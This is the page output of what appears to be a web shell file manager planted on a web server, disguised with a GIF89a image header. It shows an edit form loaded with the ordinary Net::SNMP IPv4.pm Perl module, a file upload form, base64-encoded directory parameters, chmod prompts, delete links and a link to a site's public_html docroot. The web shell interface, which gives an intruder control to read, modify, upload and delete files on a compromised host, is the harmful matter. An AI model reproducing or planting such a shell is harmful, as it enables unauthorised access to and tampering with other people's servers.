GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>IPv4.pm<form method=post action="?d=L3Vzci9zaGFyZS9wZXJsNS9OZXQvU05NUC9UcmFuc3BvcnQ%3D&f=SVB2NC5wbQ%3D%3D"><input name="f" value="IPv4.pm"><textarea name="t"># -*- mode: perl -*-
# ============================================================================

package Net::SNMP::Transport::IPv4;

# $Id: IPv4.pm,v 1.1 2009/09/09 15:08:31 dtown Rel $

# Base object for the IPv4 Transport Domains.

# Copyright (c) 2008-2009 David M. Town &lt;dtown@cpan.org&gt;
# All rights reserved.

# This program is free software; you may redistribute it and/or modify it
# under the same terms as the Perl 5 programming language system itself.

# ============================================================================

use strict;

use Net::SNMP::Transport;

use IO::Socket qw(
   INADDR_ANY INADDR_LOOPBACK inet_aton PF_INET sockaddr_in inet_ntoa
);

## Version of the Net::SNMP::Transport::IPv4 module

our $VERSION = v1.0.0;

# [private methods] ----------------------------------------------------------

sub _socket_create
{
   my ($this) = @_;

   return IO::Socket-&gt;new()-&gt;socket($this-&gt;_protocol_family(),
                                    $this-&gt;_protocol_type(),
                                    $this-&gt;_protocol());
}

sub _protocol_family
{
   return PF_INET;
}

sub _addr_any
{
   return INADDR_ANY;
}

sub _addr_loopback
{
   return INADDR_LOOPBACK;
}

sub _hostname_resolve
{
   my ($this, $host, $nh) = @_;

   $nh-&gt;{addr} = undef;

   # See if the the service/port was included in the address.

   my $serv = ($host =~ s/:([\w\(\)\/]+)$//) ? $1 : undef;

   if (defined($serv) &amp;&amp; (!defined $this-&gt;_service_resolve($serv, $nh))) {
      return $this-&gt;_error('Failed to resolve the %s service', $this-&gt;type());
   }

   # Resolve the address.

   if (!defined ($nh-&gt;{addr} = inet_aton($_[1] = $host))) {
      return $this-&gt;_error(
         q{Unable to resolve the %s address &quot;%s&quot;}, $this-&gt;type(), $host
      );
   }

   return $nh-&gt;{addr};
}

sub _name_pack
{
   return sockaddr_in($_[1]-&gt;{port}, $_[1]-&gt;{addr});
}

sub _address
{
   return inet_ntoa($_[0]-&gt;_addr($_[1]));
}

sub _addr
{
   return (sockaddr_in($_[1]))[1];
}

sub _port
{
   return (sockaddr_in($_[1]))[0];
}

sub _taddress
{
   return sprintf '%s:%d', $_[0]-&gt;_address($_[1]), $_[0]-&gt;_port($_[1]);
}

sub _taddr
{
   return $_[0]-&gt;_addr($_[1]) . pack 'n', $_[0]-&gt;_port($_[1]);
}

# ============================================================================
1; # [end Net::SNMP::Transport::IPv4]

</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/perl5/Net/SNMP/Transport<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9OZXQvU05NUC9UcmFuc3BvcnQ="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9OZXQvU05NUC9UcmFuc3BvcnQ=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9OZXQvU05NUA=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9OZXQvU05NUC9UcmFuc3BvcnQ=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9OZXQvU05NUC9UcmFuc3BvcnQvSVB2NA=="/>IPv4</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9OZXQvU05NUC9UcmFuc3BvcnQ=&f=SVB2NA==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9OZXQvU05NUC9UcmFuc3BvcnQ=&x=SVB2NC5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9OZXQvU05NUC9UcmFuc3BvcnQ=&f=SVB2NC5wbQ=="/>IPv4.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9OZXQvU05NUC9UcmFuc3BvcnQ=&f=SVB2NC5wbQ==&c=`+btoa(c):0" value="0644"></td><td>2315</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9OZXQvU05NUC9UcmFuc3BvcnQvSVB2Ng=="/>IPv6</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9OZXQvU05NUC9UcmFuc3BvcnQ=&f=SVB2Ng==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9OZXQvU05NUC9UcmFuc3BvcnQ=&x=SVB2Ni5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9OZXQvU05NUC9UcmFuc3BvcnQ=&f=SVB2Ni5wbQ=="/>IPv6.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9OZXQvU05NUC9UcmFuc3BvcnQ=&f=SVB2Ni5wbQ==&c=`+btoa(c):0" value="0644"></td><td>4273</td></tr></table>